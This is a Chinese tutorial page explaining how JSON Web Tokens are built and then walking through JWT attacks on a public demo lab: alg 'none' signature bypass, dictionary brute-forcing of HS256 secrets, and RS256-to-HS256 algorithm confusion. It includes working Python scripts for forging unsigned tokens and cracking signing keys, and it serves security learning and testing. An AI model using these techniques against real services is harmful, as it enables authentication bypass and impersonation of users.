欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

理解与学习JWT身份验证机制的关键点记录

最编程 2024-07-28 10:43:58
...

0x01 什么是JWT

JWT 全称为 JSON Web Tokens,是为了在网络应用环境间传递声明而执行的一种基于JSON 的开放标准 (RFC 7519),该 token 被设计为紧凑且安全的,它的两大使用场景是:认证和数据交换,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。

0x02 JWT组成

一个JWT实际上就是一个字符串,它由三部分组成,头部、载荷与签名,中间用 . 分隔,例如:xxxxx.yyyyy.zzzzz

2.1 头部

头部通常由两部分组成:令牌的类型(即 JWT)和正在使用的签名算法(如 HMAC SHA256 或 RSA.)。

{
 "alg": "HS256",
 "typ": "JWT"
}

然后用 Base64url 编码得到头部,即 xxxxx。
Base64url编码与常见的Base64类似,但也存在细小的差别,具体编码过程如下:

1、把BASE64URL的编码做如下解码:

       1)把"-"替换成"+"

       2)把"_"替换成"/"

       3)(计算BASE64URL编码长度)%4

            a)结果为0,不做处理

            b)结果为2,字符串添加"=="

            c)结果为3,字符串添加"="

2、使用Base64解码密文,得到原始的明文。

2.2 载荷

载荷中放置了 token 的一些基本信息,以帮助接收它的服务器来理解这个 token。同时还可以包含一些自定义的信息。
JWT 官方规定了7个,也就是预定义(Registered claims)的载荷,供选用。

{
 "sub": "1",
 "iss": "http://localhost:8000/auth/login",
 "iat": 1451888119,
 "exp": 1454516119,
 "nbf": 1451888119,
 "jti": "37c107e4609ddbcc9c096ea5ee76c667",
 "aud": "dev"
}

其中,各个信息代表的含义如下:

sub (subject):主题
iss (issuer):签发人
iat (Issued At):签发时间
exp (expiration time):过期时间
nbf (Not Before):生效时间
jti (JWT ID):编号
aud (audience):受众

除了以上字段之外,你完全可以添加自己想要的任何字段,这里还是提醒一下,由于JWT的标准,信息是不加密的,所以一些敏感信息最好不要添加到json里面。例如:

{
   "Name":"admin",
   "Age":18
}

2.3 签名

签名时需要用到编码过的header、编码过的payload、一个秘钥(这个秘钥只有服务端知道),签名算法是header中指定的那个,如果以 HMACSHA256 加密,就如下:

HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret)

加密后再进行Base64url 编码最后得到的字符串就是 token 的第三部分zzzzz
组合便可以得到 token:xxxxx.yyyyy.zzzzz
签名的作用:保证 JWT 没有被篡改过,原理如下:

HMAC 算法是不可逆算法,类似 MD5 和 hash ,但多一个密钥,密钥(即上面的 secret)由服务端持有,客户端把 token 发给服务端后,服务端可以把其中的头部和载荷再加上事先的 secret 再进行一次 HMAC 加密,得到的结果和 token 的第三段进行对比,如果一样则表明数据没有被篡改。
注意:secret是保存在服务器端的,jwt的签发生成也是在服务器端的,secret就是用来进行jwt的签发和jwt的验证,所以,它就是你服务端的私钥,在任何场景都不应该流露出去。一旦客户端得知这个secret, 那就意味着客户端是可以自我签发jwt了。

0x03 渗透测试中的JWT

3.1 敏感信息泄露

显然,由于有效载荷是以明文(Base64url只是一种编码方式)形式传输的,因此,如果有效载荷中存在敏感信息的话,就会发生信息泄露。

3.2 将签名算法改为none

签名算法可以确保JWT在传输过程中不会被恶意用户所篡改,但头部中的alg字段却可以改为none。另外,一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证。将alg字段改为none后,系统就会从JWT中删除相应的签名数据(这时,JWT就会只含有头部 + '.' + 有效载荷 + '.'),然后将其提交给服务器。
上靶场:http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

image.png

将JWT解码后得到:
image.png

用的是HS256的签名算法,取出头部的字符串:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
然后将头部alg字段的值修改为none重新进行Base64url编码,得:ewogICJ0eXAiOiAiSldUIiwKICAiYWxnIjogIm5vbmUiCn0
将结果替换原始的header,再加上自己修改好的载荷(payload),然后删除签名,但保留最后一个点,将其发送到演示页面,看 server 端是否接受 none 算法,从而绕过了算法签名。
python代码如下:

#!/usr/bin/python3
# -*- coding:utf-8 -*-
import jwt

print(jwt.encode({
"iss": "http://demo.sjoerdlangkemper.nl/",
"iat": 1614933803,
"exp": 1614935003,
"data": {
  "hello": "world"
}
}, key='', algorithm='none'))

另外,某些 JWT 实现对大小写敏感,所以,当none不通过时,可以继续尝试 NonenOneNONE等等。上述代码只支持none,其它的请自行使用Base64url编码。
攻击成功:

image.png

3.3 暴力破解密钥

alg 指定 HMAC 类对称加密算法时,可以进行针对 key 的暴力破解,比如当算法为HS256,HS256算法使用密钥对消息进行签名和验证,如果知道密钥,则可以创建自己的签名消息。所有当密钥不够牢固时,则可以使用蛮力或字典攻击将其破解。
使用python脚本进行字典破解,将下方的 jwt_json 换成自己的值,字典可以从 https://github.com/wallarm/jwt-secrets 获取

#!/usr/bin/python3
# -*- coding:utf-8 -*-
import jwt

jwt_json='eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTYxNTAyMTAzNiwiZXhwIjoxNjE1MDIyMjM2LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.x_ENVoZZRSDnjUqKHOAOYvTDrAtzfLw-_i02Qqry7so'

with open('jwt.secrets.list', encoding='utf-8') as f:
   for line in f:
       key = line.strip()
       try:
           jwt.decode(jwt_json, verify=True, key=key, algorithms='HS256')
           print('found key! --> ' +  key)
           break
       except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
           print('found key! --> ' +  key)
           break
       except(jwt.exceptions.InvalidSignatureError):
           print('verify key! -->' + key)
           continue
   else:
       print("key not found!")

上靶场:http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

image.png

跑了下脚本得:
image.png

爆破出密钥为:secret,借助 https://jwt.io/#debugger 即可进行消息的恶意伪造,篡改:
image.png

攻击成功:
image.png

字典跑不出时,还可以使用 https://github.com/brendan-rius/c-jwt-cracker 工具进行暴力破解。

3.4 非对称加密向下降级为对称加密(将RS256算法改为HS256)

现在大多数应用使用的算法方案都采用 RSA 非对称加密,server 端保存私钥,用来签发 jwt,对传回来的 jwt 使用公钥解密验证。
如果后端的验证是根据header的alg选择算法,并且支持 HS256 对称加密算法, 碰到这种情况,我们可以修改 alg 为 HS256 对称加密算法,然后使用我们可以获取到的公钥作为 key 进行签名加密(ps:在靶场中我们是直接获取,在实战中,如果是对客户进行服务的话,我们可以让客户提供公钥,毕竟只是一个公钥,为了详细测出系统漏洞,这应该是被允许的,另一个可能的来源是服务器的TLS证书,从证书中导出公钥),这样一来,当我们将 jwt 传给 server 端的时候,server 端因为默认使用的是公钥解密,而算法为修改后的 HS256 对称加密算法,此时即不存在公钥私钥问题,因为对称密码算法只有一个key,所以肯定可以正常解密解析,从而绕过了算法限制。
当 server 端严格指定只允许使用 HMAC 或者 RSA 算法其中一种时候,那这种攻击手段是没有效果的。
一般来说,用户的公钥无法直接获取,所用的场景有限,故不进行靶场练习了。

推荐阅读